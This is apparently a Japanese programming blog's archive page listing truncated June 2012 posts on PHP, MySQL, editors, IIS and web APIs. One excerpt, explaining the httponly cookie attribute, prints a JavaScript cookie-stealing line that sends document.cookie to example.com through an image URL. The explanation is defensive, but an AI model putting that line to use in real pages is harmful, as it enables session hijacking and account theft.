Category /
【php】10kg入る箱3つに詰めたい
2012-06-30 問題 10kgまで入る箱があって、商品(複数)を、3箱以内に梱包できるかチェックしたい。 商品が、1kg, 2kg, 3kg, 4kg, 5kg, 6kg, 7kg あったら、 箱1 => [4, 6] 箱2 => [3 […]
【MySQL】カンマ区切りデータを扱う
2012-06-29 問題 テキスト型のカラムにカンマ区切りのデータが入っているらしいんだけど、like検索するしかないかな? 答え 1 MySQLならでは。FIND_IN_SET関数がある。 FIND_IN_SET(str, strlist […]
【php】やってしまうと見つけにくい不具合
2012-06-28 問題 ↓ これは普通の結果ですが… $ php -r 'var_dump(1 > 2);' bool(false) ↓ これはどうしたことでしょう? $ php -r 'var_dump(1 > 2);' b […]
tmhOAuthでエラー(レスポンスコード0、エラー番号60)
2012-06-27 問題 tmhOAuthというtwitterのOAuth libraryを使って、phpスクリプトからtwitterに投稿しようとしたのですが、 レスポンスのコードは0、以下のエラーが返ってきました。 error sett […]
【php】twitterのREST APIで画像付きツイートをする
2012-06-26 問題 twitterの REST APIの statuses/update_with_media で、画像つきツイートをしたい。 答え OAuthするので、既存のライブラリを使うのが手軽でしょう。 statuses/up […]
【eclipse】エディタのウィンドウの上下分割、左右分割
2012-06-25 問題 Eclipseのエディタで、あるファイルの違う部分を、ウインドウを上下分割や左右分割して編集できます? 答え タブを右クリックして、新しいエディタで開くを選択。 同じファイルを開いたタブが2つできる。 タブをドラッ […]
【JavaScript】エラーをalertで出すこと
2012-06-24 よく見かけるalertでのエラー表示、 //... if ("エラーがあったら") { alert("エラーです!"); return false; } //... 最近のブラウザは、alertが連続すると下の画像のよう […]
【MySQL】Unknown command ‘\”.
2012-06-23 問題 MySQLで、ダンプをリストアしていたら、こんなエラーに出会いました。 Unknown command '\''. 答え クライアント側(mysqlコマンド)の文字コードの設定をする。 コマンドラインオプションで以 […]
【Windows】ショートカットキー一覧
2012-06-22 マウスとキーボードを行ったり来たりするのが面倒。ひざの上にノートパソコンのスタイルでマウスが使いづらい。 そんなときのためにショートカットキー。 Windows7からは、Windowsキー+上下左右キーでウインドウの操作 […]
MySQLのtimestamp型について
2012-06-21 MySQL4.0系列までのtimestamp型は内部的にはInteger型と同等で、2037年までしか使えないという問題がありましたが、その問題は MySQL4.1 以降で改善しました。 現在のtimestamp型は、内 […]
Cookieを盗む例とhttponly属性
2012-06-20 以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '"&g […]
【php】POP3でメールを読む
2012-06-19 問題 phpで、他のライブラリなどを使わないで、メールサーバーにあるメールをpopで読み出したい。 答え fsockopen()関数を使う。 ごく普通の110番ポートのSSL無しのPOP3の場合。 <?php // […]
【jQuery】バーコードの「NW-7」を表示するjqueryプラグイン
2012-06-18 バーコードの[NW-7]を描くjqueryプラグインを作ってみました。 NW-7のバーコードにしたい「スタートコード(A~D)、0123456789-$/:+.からなる文字列、ストップコード(A~D)」の文字列を、pやd […]
PDFLibのpdf_load_font()で Couldn’t open CMap file のエラー
2012-06-17 問題 PDFLibで日本語を含むPDFを作ろうとしたとき、pdf_load_font()したら、こんなエラーが出ました。 [error] [client 192.168.0.1] PHP Fatal error: pdf […]
脆弱性の少ないAndroidアプリ開発のために
2012-06-16 『Androidアプリの脆弱性』に関するレポート ~簡易チェックリストで脆弱(ぜいじゃく)性を作り込みやすいポイントを確認~ http://www.ipa.go.jp/about/technicalwatch/20120 […]
【html5】placeholder属性(とりあえず入れてみよう)
2012-06-15 HTML5にはplaceholder属性という属性があります。今から入れるようにして損はないと思います。 こんな感じでセットします。 記述例 <input type="text" name="company" va […]
script要素にsrc属性とインラインスクリプトの両方があると?
2012-06-14 問題 これは普通ですよね。 <script type='text/javascript' src='/path/to/script.js'></script> <script type='t […]
【IIS】エイリアスの設定(仮想ディレクトリ)
2012-06-13 手順 1 インターネット インフォメーション サービス (IIS) マネージャー を起動する 2 対象となるサイトを選択 3 仮想ディレクトリの設定画面へ 4 仮想ディレクトリを設定する 「エイリアス」に、どんなURLで […]
【Javascript】onclick=”javascript: ~~” って意味あるの?
2012-06-12 問題 古いプログラムに、こんな記述を見つけました。 この「javascript:」に、意味はあるのでしょうか??? あっても動くし、なくても動くし…… <select onchange="javascript: s […]
【vim】左右に複数ファイルを並べて同時に編集する
2012-06-11 問題 vimエディタで、あっちのファイルのここを、こっちのファイルのここにコピー&貼り付けしたい。 比較エディタみたいな感じで、左右に開いて行ったり来たりできる? 答え vimの「:vs」コマンドでできる。 1、ファイル […]